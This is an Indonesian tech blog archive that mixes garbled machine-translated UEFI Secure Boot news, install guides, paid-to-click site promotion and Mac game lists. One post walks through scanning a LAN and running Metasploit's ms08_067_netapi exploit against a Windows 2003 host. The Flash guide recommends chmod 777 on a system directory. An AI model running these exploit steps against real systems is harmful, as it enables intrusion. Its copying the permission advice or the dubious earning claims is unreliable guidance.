E-Learning With Blog

Ubuntu Persiapkan Boot dengan GRUB 2

2013-03-04T06:16:00.002-08:00

Windows 8 PC akan datang dengan Microsoft UEFI (Extensible Firmware Interface Bersatu) Boot aman. Ini "fitur" akan membuat lebih sulit untuk boot sistem operasi Linux atau lainnya. Canonical, perusahaan induk Ubuntu Linux, akan mengambil pendekatan baru untuk mengatasi masalah ini.
Ketika pertama kali Canonical mengumumkan rencananya pada berurusan dengan Boot Aman Microsoft dalam versi berikutnya dari Ubuntu, 12.10, ia berlari ke keberatan dari pengembang Linux Fedora dan Free Software Foundation (FSF). Dalam dunia yang ideal, FSF ingin vendor PC untuk tidak membiarkan pengguna akan terkunci oleh Boot Aman Microsoft.
Kegagalan itu, tidak menyukai FSF baik Fedora dan rencana Ubuntu tentang bagaimana menangani Boot aman karena keduanya membutuhkan bahwa kepercayaan pengguna dalam sebuah kunci Microsoft-dihasilkan. Dengan Ubuntu, FSF juga menentang Ubuntu menjatuhkan Grub 2 bootloader bootloader adalah program yang memungkinkan Anda boot sistem Anda dan, jika Anda memiliki beberapa sistem operasi, pilih "Boot pada sistem aman, mendukung bootloader lain." Yang satu untuk boot.
Sementara kedua Fedora dan Ubuntu masih menempel dengan tombol Microsoft untuk saat ini, Canonical telah mencapai kesepakatan dengan FSF yang akan memungkinkan pengguna Ubuntu untuk tetap menggunakan grub2. Dalam sebuah posting blog, Jon Melamut, VP Canonical Profesional & Engineering Services, menulis, "Ketika kami mengumumkan rencana kami untuk mendukung Boot Aman di Ubuntu 12.10, kami awalnya direncanakan bahwa kita akan menggunakan bootloader EFILinux. Kami memilih bahwa pilihan atas bootloader Grub 2 karena Grub 2 telah lisensi ketentuan yang, dalam pandangan kami pada saat itu, bisa memaksa pengungkapan kunci Canonical jika mitra OEM telah sengaja dikirimkan sebuah komputer yang tidak memungkinkan penghentian Boot aman. "
Canonical dan FSF telah berbicara ketidaksetujuan mereka keluar dan, terus Melamut, "FSF telah menyatakan dengan jelas bahwa Grub 2 dengan Boot aman tidak menimbulkan risiko pengungkapan kunci dalam keadaan seperti Kami juga telah menegaskan bahwa pandangan dengan mitra kami OEM,. Dan telah memperkenalkan variasi untuk program Sertifikasi Ubuntu dan skrip QA untuk pra-instalasi untuk memastikan bahwa pilihan dan keamanan pengguna diselenggarakan pada mesin Ubuntu. Oleh karena itu, kami telah memutuskan bahwa Grub 2 adalah pilihan terbaik untuk bootloader, dan akan menggunakan Grub hanya 2 di Ubuntu 12.10 dan 12.04.2 secara default. "
Dalam sebuah pernyataan, John Sullivan, Direktur Eksekutif FSF, menambahkan, "Kami sangat senang dengan keputusan Canonical untuk tetap dengan Grub 2. Kita tahu bahwa tantangan muncul ketika mencoba untuk mendukung keamanan pengguna yang benar tanpa merugikan Boot pengguna kebebasan-Secure vs Dibatasi Boot-baru untuk semua orang mendistribusikan perangkat lunak bebas. Ini adalah situasi yang GPLv3 ditulis, dan setelah percakapan membantu dengan Canonical, kami yakin lisensi melakukan tugasnya dengan baik, memastikan pengguna dapat memodifikasi sistem mereka tanpa menempatkan distributor di posisi tidak bisa dipertahankan. "
Sementara booting desktop Linux akan terus menghadapi tantangan pada Windows 8 PC, setidaknya perangkat lunak bebas dan open-source Linux masyarakat yang bersatu dalam bagaimana mereka akan menghadapi Windows 8 itu Boot UEFI aman lock-in masalah.

Linux developers Atasi Boot secure UEFi

2013-03-04T06:12:00.001-08:00

KitaLinux developers Atasi Boot secure UEFi semua tahu bahwa Windows 8 PC akan datang dikurung ketat Microsoft UEFI (Extensible Firmware Interface Bersatu) booting aman di. Ini akan mencegah Anda mudah menginstal Linux atau sistem operasi lain, seperti Windows 7 atau XP, pada sistem Windows 8. Apa yang kita tidak tahu adalah persis bagaimana produsen peralatan asli (OEM) s akan menerapkan UEFI, apalagi booting aman, pada mesin baru. Untuk mengatasi masalah ini, James Bottomley, ketua Dewan Penasihat Teknis Linux Foundation, telah merilis versi boot image Tianocore Intel UEFI dan beberapa kode yang programmer Linux dapat digunakan untuk mendapatkan sekitar Windows pembatasan aman 8 s Boot.
Intel Tianocore adalah gambar open-source dari UEFI Intel. Sampai saat ini citra ini tidak memiliki Authenticode bahwa Microsoft menggunakan untuk Boot Aman (Link PDF) tapi sekarang Tinocore meliputi fungsi ini juga.
Karya Bottomley adalah penting karena, sebagai Bottomley mengatakan, itu akan "memperluas kolam orang-orang yang bermain dengan booting UEFI aman. The Linux Foundation Teknis Dewan Penasehat telah melihat ke dalam ini karena ternyata agak sulit untuk meletakkan tangan Anda pada real hardware Boot Aman UEFI diaktifkan. "
Ini bukan hanya pengembang Linux. Dalam percakapan saya dengan produsen peralatan asli (OEM) s banyak dari mereka juga mengalami kesulitan meletakkan tangan mereka pada perangkat keras ini. Dengan Windows 8 yang dirilis ke manufaktur (RTM) pada awal Agustus Itu membuat saya bertanya-tanya berapa banyak sistem Windows 8 benar-benar akan bergulir di kuartal 3 dan 4. Itu, tentu saja, daun mengesampingkan seluruh pertanyaan tentang berapa banyak permintaan yang ada akan benar-benar menjadi untuk Windows 8 PC pula.
Sementara itu, Bottomley adalah "melepaskan ini sekarang karena minat Boot UEFI Secure meningkat, khususnya di antara Distribusi Linux yang tidak memiliki akses ke perangkat keras booting UEFI aman, sehingga memiliki platform virtual harus memungkinkan mereka untuk bereksperimen dengan datang dengan mereka sendiri solusi. "
Bottomley memperingatkan pengembang Linux yang "Ini sangat alpha. Firmware Tianocore yang melakukan booting aman hanya berumur beberapa minggu, dan alat penandatanganan tidak benar-benar bekerja sampai kemarin, jadi ini sangat jauh dari batuan padat. "
Namun, Bottomley telah mampu "mengunci platform boot yang aman virtual dengan PK saya sendiri [Kunci platform] dan KEK [Key Bursa] dan memverifikasi bahwa saya dapat menghasilkan ditandatangani efi binari yang akan berjalan di atasnya (dan bahwa hal itu akan menolak untuk menjalankan unsigned efi binari). Akhirnya saya telah menunjukkan bahwa saya bisa menandatangani elilo.efi (ini harus dibangun khusus karena bug di gnu-efi) dan memilikinya boot kernel linux unsigned saat platform dalam mode aman (saya sudah boot sampai sebuah prompt root initrd). "
Dengan kata lain, dia telah mampu menciptakan binari sendiri dijamin yang akan boot dan bekerja pada sistem Linux UEFI aman. Ini adalah langkah besar untuk membuat lebih mudah bagi pengembang untuk menggunakan UEFI keamanan dengan kunci mereka sendiri, ala apa Canonical lakukan dengan Ubuntu.
Apakah itu jalur yang ideal? Mungkin, mungkin tidak, tapi itu adalah salah satu yang praktis.
Jika Anda ingin mencobanya, Anda dapat men-download dari server openSUSE dalam format RPM untuk x86 64-bit prosesor. Anda juga harus memperbaiki Bottomley untuk membangun efi binari di Linux. Ini mencakup "contoh bagaimana menggunakan script tetap dan pembangun untuk biner LockDown.efi yang akan membawa platform boot yang aman dalam mode setup dan menginstal PK dan KEK dan memungkinkan booting aman" dan utilitas lainnya.
Good luck dalam membangun Linux untuk Windows 8 sistem Boot aman. Ini tidak mudah, tapi kami sedang dalam perjalanan.

Exploit Windows menggunakan Metasploit di Linux

2013-03-04T06:05:00.000-08:00

Exploit Windows menggunakan Metasploit di Linux.Sebelum kita membahasa tentang cara exploit windows menggunakan metasploit ini ada baiknya kita mengetahui apa arti dari exploit itu sendiri. Exploit adalah sebuah kode yang menyerang keamanan_komputer secara spesifik. Exploit banyak digunakan untuk penentrasi baik secara legal ataupun ilegal untuk mencari kelemahan (Vulnerability) pada komputer tujuan. Bisa juga dikatakan sebuah perangkat lunak yang menyerang kerapuhan keamanan (security vulnerability) yang spesifik namun tidak selalu bertujuan untuk melancarkan aksi yang tidak diinginkan. Banyak peneliti keamanan komputer menggunakan exploit untuk mendemonstrasikan bahwa suatu sistem memiliki kerapuhan (wikipedia). Sedangkan Metasploit sendiri merupakan sofware security yang sering digunakan untuk menguji coba ketahanan suatu sistem dengan cara mengeksploitasi kelemahan software suatu sistem. Pertama, kita harus menyiapkan beberapa tools:

Nmap: (Network Mapper) sebuah aplikasi atau tool yang berfungsi untuk melakukan port scanning.
Nessus: aplikasi yang digunakan untuk mengetahui celah-celah keamanan dari sebuah komputer.
Metasploit: Sofware security yang digunakan untuk menguji coba ketahanan suatu sistem dengan cara mengeksploitasi kelemahan software suatu sistem.

Software tersebut harus anda instal terlebih dahulu. Jika anda ingin instan anda dapat menggunakan sistem operasi linux yang di fungsikan untuk penetrasi, seperti: BackTrack, Backbox, dll.
Kali ini saya menggunakan BackBox versi 2.0.5
1. Scan network menggunakan nmap.
#nmap 192.168.1.0/24

berikut adalah pict dari port windows 2003 server (target)

2. Gunakan Nessus untuk mencari celah keamanan windows tersebut. Berikut beberapa screenshoot yang saya dapat.

3. Jika ditemukan ms08_067 atau service lain yang dapat ditembus pada hasil scan, langsung saja buka msfconsole.
4. Ketikkan perintah:
# search ms08_067
# use windows/smb/ms08_067_netapi
# show options
# set RHOST 192.168.1.3
# exploit
Jika perintah tersebut berhasil, maka anda diperbolehkan untuk berkreasi pada komputer target :p
Screenshoot sudah saya sediakan pada “gallery” diatas. Tutorial Hacking ini digunakan untuk pembelajaran, gunakan dengan bijaksana.!!

Tutorial Install Cisco Packet Tracer 5.3 di Linux

2013-03-04T06:01:00.000-08:00

Tutorial Install Cisco Packet Tracer 5.3 di Linux. Packet Tracer adalah simulator alat-alat jaringan Cisco yang sering digunakan sebagai media pembelajaran dan pelatihan, dan juga dalam bidang penelitian simulasi jaringan komputer. Program ini dibuat oleh Cisco Systems dan disediakan gratis untuk fakultas, siswa dan alumni yang telah berpartisipasi di Cisco Networking Academy. Tujuan utama Packet Tracer adalah untuk menyediakan alat bagi siswa dan pengajar agar dapat memahami prinsip jaringan komputer dan juga membangun skill di bidang alat-alat jaringan Cisco. [wikipedia]
Nah, berikut adalah tutorial instalasi Cisco Packet Tracer 5.3 di Linux:
1. Download Cisco Packet Tracer 5.3 dengan ekstensi (.bin) disini —> http://dl.dropbox.com/u/59570930/PacketTracer53_i386_no_tutorials_installer-deb.bin
2. Buka terminal, lalu masuk ke folder yang berisi Packet Tracer tadi.
3. Atur file permission.
$ sudo chmod +x PacketTracer53_i386_no_tutorials_installer-deb.bin
4. Install Cisco Packet Tracer.
# ./PacketTracer53_i386_no_tutorials_installer-deb.bin
Berikut adalah ss yang saya dapat setelah membuat simulasi jaringan sedherhana.

Tunggu hingga proses selesai.
Semoga bermanfaat.

Incoming search terms:

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CARA INSTAL PACKET TRACER
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cisco packet tracer bin

Tutorial] Install Flash Player di Linux

2013-03-04T06:00:00.002-08:00

Tutorial] Install Flash Player di LinuxFlash Player tentunya bukan merupakan sebuah istilah yang baru pagi para pengguna internet, terutama bagi anda yang gemar melakukan aktifitas di jejaring sosial seperti facebook atau menonton video melalui youtube.com atau situs hosting video lainnya. Dengan Adobe Flash Player ini, banyak pengguna bisa menikmati file multimedia berbasis flash yang tertanam di website dengan lebih mudah dan nyaman.

Bagi anda yang belum mengetahui apa itu Adobe Flash Player, ini adalah sebuah runtime yang mempunyai performa tinggi, ringan dan sangat ekspresif. Flash Player memberikan sebuah pengalaman menikmati file multimedia lintas operating system, browser dan ponsel.

Karena masih banyak yang bertanya bagaimana cara untuk melakukan instalasi flash player di Linux, maka saya coba tuliskan langkah-langkahnya.
Cara agar browser/Peramban Web bisa memutar flash cukup gampang sebenarnya, namun dalam hal ini saya mencoba memberikan contoh dengan Peramban Web Chromium, dan untuk Peramban Web yang lain bisa disesuaikan.
Berikut tutorial instalasi flash player di Linux:

Download libflashplayer.so disini —>> libflashplayer.so
Buka Terminal dan masuk ke folder yang berisi file yang telah anda download tadi.
Copy libflashplayer ke direktori “/usr/lib/chromium-browser/plugins”
$ sudo cp libflashplayer.so /usr/lib/chromium-browser/plugins/
Atur permission file menggunakan perintah chmod.
$ sudo chmod 777 /usr/lib/chromium-browser/plugins/
Buka perambaan anda dan selamat menikmati.

Daftar PTC yang realy Paid(membayar)

2013-03-04T05:19:00.003-08:00

Daftar PTC yang realy Paid(membayar). Apakah Anda ingin tahu bagaimana membuat uang online dengan 10 Top dibayar per klik website? Saya percaya bahwa Anda lakukan, jika tidak, anda tidak akan membaca artikel ini, bukan? Nah, Anda membuat langkah yang tepat dan saya tidak akan membuang-buang waktu Anda karena saya secara pribadi telah melakukan beberapa penelitian dan menghindari semua situs scam sebelum saya mendaftar secara gratis dengan 10 situs online. Ketika saya mengatakan bahwa mereka adalah 10 besar situs web yang akan membantu Anda untuk membuat uang online, maka mereka benar-benar lakukan. Tak seorang pun akan berpikir bahwa mereka akan menjadi kaya dengan dibayar per klik website sejak membayar rendah. Tetapi kenyataannya adalah bahwa ptc pasti akan membantu Anda untuk melunasi beberapa tagihan Anda dan setidaknya Anda akan memiliki beberapa uang cepat. Cara untuk membuat Anda sukses bisnis ptc? Setidaknya ada tiga cara yang dapat Anda lakukan itu. Saya akan daftar tiga cara bahwa setelah saya diposting link atas saya untuk you.So hanya membaca.

Top 10 dibayar per klik website yang akan membantu Anda untuk membuat uang secara online adalah sebagai berikut:

1. Swebux ptc

http://swebux.net/ptc/

2. Incrasebux

http://www.incrasebux.com

3. Clixsanity

http://www.clixsanity.com

4. Boybux

http://www.boybux.com

5. Bemabux

http://www.bemabux.com

6. Memberbux

http://www.memberbux.com

7. Gbpbux

http://www.gbp-bux.com

8. Forcebux

http://www.forcebux.com

9. Buxreflink

http://www.buxreflink.com

10. Bigtimebux

1. Mendaftar sebanyak mungkin seperti dengan situs-situs legit dan pasti mendaftar akan selalu bebas.
(karena salah satu situs tidak akan membuat Anda bahwa banyak, tetapi jika Anda memiliki 10 situs, maka akan membuat
perbedaan).

2. Merujuk orang lain dan membiarkan lebih banyak orang mengklik untuk Anda dan yang akan meningkatkan penghasilan Anda jauh lebih cepat.

3. Promosikan semua rujukan Anda link dengan artikel pemasaran (menulis artikel dan posting semua link Anda di sana).
Anggaran lebih Anda menulis, semakin banyak orang akan mengenal Anda legit website ptc dan mendaftar dengan
Anda referral link.

Nah, link di atas adalah semua top 10 link saya telah menemukan untuk Anda, alangkah baiknya jika Anda dapat mendaftar dengan link yang disediakan. Jika tidak, Anda mungkin harus menghabiskan waktu lebih banyak untuk melakukan pencarian beberapa sendiri dan mungkin berakhir mendapatkan hasil yang sama seperti yang saya lakukan. Yah, saya harap Anda akan mengambil langkah cerdas dan mulai membuat uang online sekarang. Nikmati online Anda produktif.

Games Linux In 2013

2013-03-03T07:41:00.001-08:00

	Bitfighter
	Champions of Regnum
	MAGE
	RUNNING WITH RIFLES
	The Royal Trap
	Net.Tarot
	FreeOrion
	UnReal World RPG
	The Elder Scrolls III: Morrowind
	FlightGear
	Achron
	Towns
	Stendhal
	The Platform Shooter
	Alien Arena
	Pioneer
	Dirk Dashing: Secret Agent! Special Edition
	Prometheon
	Anodyne
	Livalink
	FreeSpace 2 Open
	Heroes of Might and Magic III
	Heroes of Newerth
	Unknown Horizons
	erebus
	Aeon Command
	The Legend of Edgar
	Battlemass
	My Ex-Boyfriend the Space Tyrant!
	Frozen Nightmare
	Annex: Conquer the World
	NEO Scavenger
	Clairvoyance
	Vendetta Online
	Spiral Knights
	Warzone 2100

The Best Strategy Games For The Mac

2013-03-03T07:23:00.002-08:00

The Great Strategy Games You Can Play On Your Mac

Mac gaming can be frustrating at times. The problem is finding games that are available on the platform. Even today, after Steam’s adoption of the Mac, finding games to play can be difficult.
That doesn’t mean there aren’t some excellent games. You just have to do a little extra work to find them. Let’s have a look at ten strategy game titles that are sure to please any fan of the genre.

Criteria

Mac games are relatively rare, and their scarcity increases as they age. The production runs are smaller, which results in fewer used copies, which results in higher prices.
I’m capping the price for games at $60. This leaves out games like Rise of Nations. It’s an excellent title, but the few new copies I could find are priced at over $100. All of the games found here are affordable, which means they are relatively recent releases and many of them are sold on Steam.

AI War: Fleet Command

If you’re a fan of the space-strategy genre and you don’t mind a steep learning curve you’ll love AI War.
This massive game offers players the chance to conquer the stars with gigantic fleets. Building them requires the management of complex resource system, though with that said, this is far from the most hardcore title you can buy.
AI War is available on Steam for $9.99. There’s also a demo available.

Civilization IV and Civilization V

The Civilization titles have supported Mac for some time. The newest version is Civilization V, but its focus on making the series more accessible has angered some gamers while pleasing others.
Fortunately, you have a choice. Civilization IV: The Complete Edition is also available for Mac and it still feels quite modern, so gamers who prefer more complex strategy can pick it up.
Civilization IV is about $40 on Amazon, while Civilization V sells for a tad over $20.

Darwinia

This unique title is story-driven, making it different from most strategy games. It places you in charge of saving a virtual world called Darwinia. A virus has assaulted it and its virtual citizens – and only you can stop it.
Darwinia’s lo-fi graphics style is beautiful but also makes the game easy to run on almost any Mac made in the last five years. The game is relatively simple to understand, so it’s a good choice for those unfamiliar with the genre.
You can buy Darwinia for $9.99 on Steam. There is a demo available.

Frozen Synapse

One of the newest games here, Frozen Synapse is a turn-based title focusing on squad combat. It’s one of the few games of its kind to be released in the last decade and it’s probably the best of the bunch.
There are only a few units, so understanding the basics isn’t difficult. However, the complex interactions between units, terrain and fog-of-war result in a deceptively challenging game. Units die quickly to gunfire, so a single round rarely lasts more than thirty minutes.
Frozen Synapse is $24.99 on Steam. There is a demo available.

Gratuitous Space Battles

As the name implies, this strategy game is all about space battles. Fleets of 2D vessels are pitted against each other and attempt to achieve victory with beam weapons, torpedoes, missiles and rail guns. If you’ve ever found yourself re-watching the space battles in Battlestar Galactica or Babylon 5 you’ll love what this game offers.
This game sets itself apart from others by taking away direct control of battles. Players are responsible for designing ships and determining deployment. This sounds unusual, but the design lets you focus on building ships and enjoying battles instead of worrying about split-second changes in starship tactics.
Gratuitous Space Battles is $19.99 on Steam. The Complete Pack, which includes a number of DLC expansions, is $39.99.

Hearts of Iron III

Hearts of Iron has been considered the definitive World War II strategy game since the release of the original in 2002. The game has never been accessible to strategy newcomers, but that’s sort of the point.
The latest edition refines the interface and updates the graphics, but it remains a hardcore title targeted at history buffs and World War II fanatics. The huge number of possible strategies and large number of playable countries makes this a title that you can play for hundreds of hours without exploring every possibility.
Hearts of Iron III is just $9.99 on Steam.

Rome: Total War

The Total War series is one of the best strategy franchises on the market, but the latest games have not come to the Mac. The most recent title you can purchase is Rome: Total War.
That’s not to imply the game is bad, however. Rome: Total War is about eight years old, which means the graphics aren’t the best, but the battles themselves are as enjoyable as any Total War title. Anyone who wants to enjoy real-time strategy with extreme tactical depth needs to pick this one up.
Rome: Total War is available through a number of major retailers for $29.99.

The Sims 3

Yes, the Sims is a strategy game. It doesn’t involve killing or conquering – but it does require proper resource management if you want your Sims to be successful.
This is the most approachable game on our list. Strategy game fans shouldn’t write it off automatically as too simple, however. The Sims 3 is the most engaging game in the franchise from a strategy perspective. Managing day-to-day life of an entire family can become a serious challenge.
The Sims 3 is available for $27.99 on Amazon.

Starcraft II: Wings of Liberty

Blizzard’s long-awaited installment of the hugely popular Starcraft franchise was certain to make this list. It is the only strategy title on this list that was built for professional competitive play. This focus is evident in the game’s excellent balance and fast pace.
Gamers who are looking for an engaging single-player strategy game experience may need to look elsewhere. The multi-player, however, is enjoyable for both newbies and experienced gamers. Blizzard’s ladder does an excellent job of gauging skill levels and pitting players against others that are approximately as skilled.

Rome: Total War

Hearts of Iron III

AI War: Fleet Command

Rob LeFebvre

When people think computer gaming, they may not think Macintosh right away. However, there are a host of games both new and old, expensive and cheap, indie and triple-A for the Macintosh platform. The following list, then, is of the best strategy games the Mac platform has to offer; all of these received an over 80 score on Metacritic, a gaming review aggregation site. Most of them are playable on modern Macs, with a few exceptions as noted.

StarCraft II: Wings of Liberty

While StarCraft set the standard for Blizzard’s sci-fi-themed real-time strategy game, the sequel — coming only 12 years later — provided a fantastic iterative improvement on the original. The three race/factions — Protoss, Terran, and Zerg — war across the galaxy for extreme dominance. The second game in this popular franchise gains a more story-focused single-player campaign, updated graphics, and new units to engage the fight for survival.
Standard Edition – $39.99

Rome: Total War

Ancient history is fun again in this real-time strategy game from Activision. The goal here is to conquer, rule and manipulate the Roman Empire and be declared as the Emperor of Rome. The game is set at a time in history when Rome was at its height of power, engaged on many fronts in brutal warfare. Deal with barbarians in Gaul as well as Hannibal’s war elephants while managing a bloody civil war with over 20 hours of gameplay and epic, cinematic battles.
Mac App Store – $29.99

Warcraft III

It’s hard to remember that the Warcraft franchise started as a real-time strategy game, before it created the MMO juggernaut we all know and love today. Warcraft III brought the genre to new heights when it was released in 2002, and remains a high point today. Players must gather resources, build and expand their bases, and fight off three of the four races included in the game: Human, Orc, Undead and Night Elves. The single player game takes players through specific missions and introduces the four races in turn. The multiplayer allows more free-ranging contests with up to eight other players via Battlenet.
Battle Chest Edition – $19.99

Civilization V

This is the grandaddy of them all, the fifth installment in a highly-regarded turn-based strategy series. Players lead a civilization from prehistoric times, through the present day, to the future. The maps are procedurally generated, using hexagonal tiles instead of the previous-installments’ square tiles, which brings a whole new style of play. Civilization V players can achieve victory via research, diplomacy, expansion, economic development, government and, yes, military supremacy. Many familiar systems of gameplay from the series have been improved an overhauled, making this a great time to jump in and find out what all the fuss is about.
Mac App Store – $39.99

Myth II: Soulblighter

Released by Bungie in 1998, Myth II: Souldblighter remains a classic of the strategic tactics genre, and is still highly rated on many gaming websites. Players are given a select number and type of units with different abilities. They must be used as given to fight AI or human-controlled opponents in strategic, real-time battles. While the game can seem dated due to the graphics of the time, it continues to be actively developed by Bungie-sanctioned programmers, with a large online following. This title will need a little extra love to run on current model Macs.

The Sims 3

The third game in a highly-regarded franchise, The Sims 3 allows players to create more realistic Sim people with new personalities and looks. While the bulk of the gameplay might seem to revolve around the way things look, The Sims 3 is at heart a solid strategy game, requiring players to balance many competing factors and manage resources properly to keep their families of Sims happy, well-adjusted, and active.
Mac Download Edition – $29.99

Frozen Synapse

Frozen Synapse is a smaller, indie-size game set in a dystopian cyberpunk future that requires players to bring their strategic thinking to the table. It’s a simultaneous turn-based strategy title that asks players to issue orders to small, commando squads to win in smaller, mission-specific battles with other AI- or human-controlled squads. Orders are given in one phase, and carried out simultaneously in the next, creating an interesting cat-and-mouse dynamic. The graphics are not immersive, but fit the ethos and theme of the title perfectly.
Steam Standard Version – $24.99

Command & Conquer 3: Tiberium Wars

EA’s military sci-fi real-time strategy game was released in 2007 as a direct sequel to the 1999 game, Tiberian Sun, in the previous franchise. The third installment of this series returns the game to its strategic roots, featuring three factions to play in both single player and multiplayer modes. The game includes a ton of live-action footage with well-known actors, including Battlestar Galactica alums Tricia Helfer and Grace Park, as well as Star Wars‘ Billy Dee Williams.
Used Mac Edition from $49.95

Darwinia

Darwinia is a digital theme world created for artificially intelligent polygons by Dr. Sepulveda. Thrown into the middle of a crisis situation involving the polygons and their now-threatened digital playground, players will follow assignments given by the illustrious Dr. S to save the Darwinians from a certain virus-triggered doom. The game includes a mix of genres, borrowing liberally from puzzle and god-games to inform its centrally strategic gameplay.
Mac App Store – $9.99

Gratuitous Space Battles

Homeworld 2

This game has both real-time strategy as well as space combat, with a cinematic storyline and an innovative three-dimensional playing field. Players must gather resources and research new technologies and units, building new ships and weaponry to win the game. The game can be played as a single player, or with up to 5 players online. The score, beautiful graphics, and deep-space settings provide some of the best sci-fi gameplay in a real-time strategy title yet. Aspyr has a support page on getting it to run on Intel-based Macs, but no guarantees.

The 12 Best Games for Mac

2013-03-03T07:11:00.001-08:00

The 12 Best Games for Mac

Hey, look! A sleek computer with a piece of fruit embossed on it. Did you splurge for a Mac Pro or save money and get the totally capable iMac. Either way, good move, those things just work. And contrary to popular belief, there's loads of games to be played on Apple's OS. The best twelve await you below.

Amnesia: The Dark Descent

Horror games tend to make players focus on retaliation, promising them the power to beat back the monsters and night-things that plague them. Frictional Games' acclaimed adventure succeeds by continually making you feel underwhelmed and out-of-sorts while taking place in a world that so intriguing that you'll still want to want to keep on playing.
A Good Match for: Cthulu lovers. With a protagonist driven mad by the evil he's trying to fight ina remote location, Dark Descent's basic plot structure and mood shares DNA with the iconic work of H.P Lovecraft.
Not for Those Who Want: To sleep at night. The more time you spend in the dark in Amnesia, the more disorientation gets thrown at you. Our advice? Get a night light for when you finish the game.
Here's how it looks in action. Purchase on

Bejeweled 3

One of the most popular game franchises ever finds one of its best iterations on Apple's computers. The hook here is the Diamond Mine mode, which use the same match-three mechanic to dig through layers of dirt… to expose more gems… to dig though more layers of dirt. Get the point?
A Good Match for: Fireworks lovers. A good stretch of Diamond Mine offers up explosions of color and sound that rival those of any Fourth of July celebration.
Not for Those Who Want: The standard, more placid Bejeweled experience. While it looks nearly the same, Diamond Mine Mode presents players with a nerve-racking twist on vanilla Bejeweled.
Here's how it looks in action.

Braid

Four years ago, Braid came out and changed people's perceptions of what video games–especially independently developed ones–could be. The time-manipulating platformer gave players an experience that channeled the ephemeral nature of selective memory and the sting of lost love. Braid became a bona fide hit on the Xbox 360, thanks to a substantive maturity that ESRB labels don't necessarily speak to. Its success validated both indie games and digital distribution on consoles in one fell swoop, and it's since landed on other platforms like the Mac.
A Good Match for: Therapists. Interacting with Braid did more than simply challenge players to figure out when to pause time on a particular level; it also made them think about turning points throughout their own personal histories and what they'd do differently if the chance were given.
Not for Those Who Want: To feel stymied. Braid offers nothing in the way of hints or clues. It'll feel great when you figure out the solutions of its puzzles but you'll be stumped for a while before you get there.
Here's how it looks in action.

Galaxy on Fire 2 Full HD

Fishlabs' sci-fi dogfighting title is an extremely uncommon species—a Florida bonneted bat, maybe?—of game development. The German dev studio originally developed the title for iOS, but then upscaled it for release on the Mac App store. Native Mac games that migrate within the Apple ecosystem are rare already, but for one to be so good is even rarer still.
A Good Match for: Hubble Space Telescope fans. Not only does Galaxy on Fire take you to the imagined far reaches of the known universe, it also let you take pictures from any perspective with its Action Freeze 3D screenshot tool.
Not for Those Who Want: to play on Windows. You may be able to play Windows games on Mac computers with Boot Camp and some elbow grease but you can't do the opposite. For once, PC gamers find themselves out of luck.
Here's how it looks in action. Purchase on the Mac App Store.

Limbo

One way to look at the cult hit by Danish dev studio PlayDead is to imagine it as a purgatory for video game characters. This indie game's bleak Bauhaus palette, hollow-eyed central character and ghostly gameworld all speak to a stark single-mindedness that makes playing the game chillingly addictive. You don't get sold a story with Limbo, but the experience is so sharply crafted you don't need anyone telling you why to care.
A Good Match for: Sadists who want to see what really happens when you miss a jump. In Mario or Sonic games, you get a cute little fail animation when you flub a leap. When you miscalculate a hurdle in Limbo, the character's legs snap painfully, an arm can go flying or his head can roll gently down a slight hill. These little deaths are alternately sad, shocking and hilarious and you'll find yourself anticipating them even as they frustrate you.
Not for Those Who Want: Replayability. Limbo clocks in at about 8-10 hours and that's being generous. Once you're done with it, you'll never forget it but—since nothing changes on subsequent playthroughs—you'll also have no reason to go back to it.
Here's how it looks in action. Purchase on: Mac App Store | Steam

Left 4 Dead

The unique symbiosis that multiplayer shooters generate amongst players gets forced on you in Valve's hit zombie apocalypse shooter, where you play as one of four human survivors. You can't heal yourself and need to rely on the kindness of strangers to make it through the levels. When you get revived from a near-death experience, the altruism's enough to make you have faith in humanity again.
A Good Match for: Exhibitionists. Left 4 Dead's key innovation is in its complex ''Director'' AI algorithm, which tracks how you and teammates are playing and ramps up the level of threat in response. It's always watching you and shows its appreciation with zombies with lasso-like tongues.
Not for Those Who Want: Individual glory. You can play solo with AI partners manning the roles of Zoe, Louis, Francis or Bill, but it's a far lesser experience. Play with others; it's good for you.
Here's how it looks in action. Purchase on the Mac App Store.

Minecraft

The best way to explain Minecraft's success is to see it as tapping into humanity's need to build huge outlandish structures. Indie designer Markus Persson's hit title has let people recreate everything from the Death Star to retro video game levels, while also providing a survival adventure mechanic to keep things interesting.
A Good Match for: Frustrated urban planners. Aside from the dodging the game's monstrous green Creepers, all you need to build your Tower of Babel is patience and time.
Not for Those Who Want: Hi-res graphics. Part of Minecraft's charm is in its blown-out pixellated aesthetics so, if you prefer a steady diet of Unreal Engine-powered content, pass up Mojang's sandbox phenomenon.
Here's how it looks in action. Purchase from Mojang.

NBA Jam

EA's re-boot of the over-the-top b-ball franchise set old-school fans on fire with it hit in 2010 and gets a solid port to the Mac App Store
A Good Match for: Decomissioned arcade warriors. NBA Jam approached the level of national religion during its heyday and the involvement of series creator Mark Turmwell and original announcer Tim Kitzrow will have you singing hoops hosannas all over again.
Not for Those Who Want: Realism. Jam's caricatures are the antithesis of NBA 2K's devotion to history, so forget about stats or half-court strategies. Boom-shakalaka-boom is all that matters here.
Here's how it looks in action. Purchase on the Mac App Store.

Portal 2

Call it the Superman 2 or Empire Strikes Back of video games. Valve's follow-up to their 2007 classic improves on the humor, characterization and puzzle-solving of its predecessor to deliver a tight, focused experience that preserves the series' teleportational joys while scuffing up its minimalism and adding clever new game mechanics.
A Good Match for: Comedy lovers. The voicework alone—performed in stellar fashion by Stephen Merchant and Ellen McLain—will make you laugh out loud but the brain-teasing puzzles and embedded gags keep the chuckles coming even when everything else in the game goes quiet.
Not for Those Who Want: Mediocrity. People who argue with Portal 2's greatness are like folks complaining that diamonds came from dirt. Their argument is invalid.
Here's how it looks in action. Purchase from: Steam | Amazon | Wal-Mart | Best Buy | GameStop

Full size

StarCraft II: Wings of Liberty

It's one of very few video games that can be called a national obsession. Elite players of Blizzard's real-time strategy sequel can out-earn corporate middlemen in China or Korea, but the sci-fi conflict simulator's most significant currency is the devotion it gets from millions all over the world.
A Good Match for: Jugglers. Succeeding in StarCraft II means waging war on multiple fronts as you keep an eye on resources, deployment, defense and offense in skirmishes where you can be overrun in an instant.
Not for Those Who Want: Gentle introductions. New participants to the Starcraft multiplayer experience will get chewed up as they learn the strengths and weaknesses of the Zerg, Protoss and Terran factions.
Here's how it looks in action. Purchase from: Amazon | Wal-Mart | Best Buy | GameStop

Team Fortress 2

Valve's cartoony multiplayer shooter was one of the surprises in their 2007 Orange Box compilation, debuting as a sort of user-powered story engine where the players' actions—as one of nine classes—determine the drama. Since then, it's been one of the most robustly supported releases on PC, growing organically like few other games.
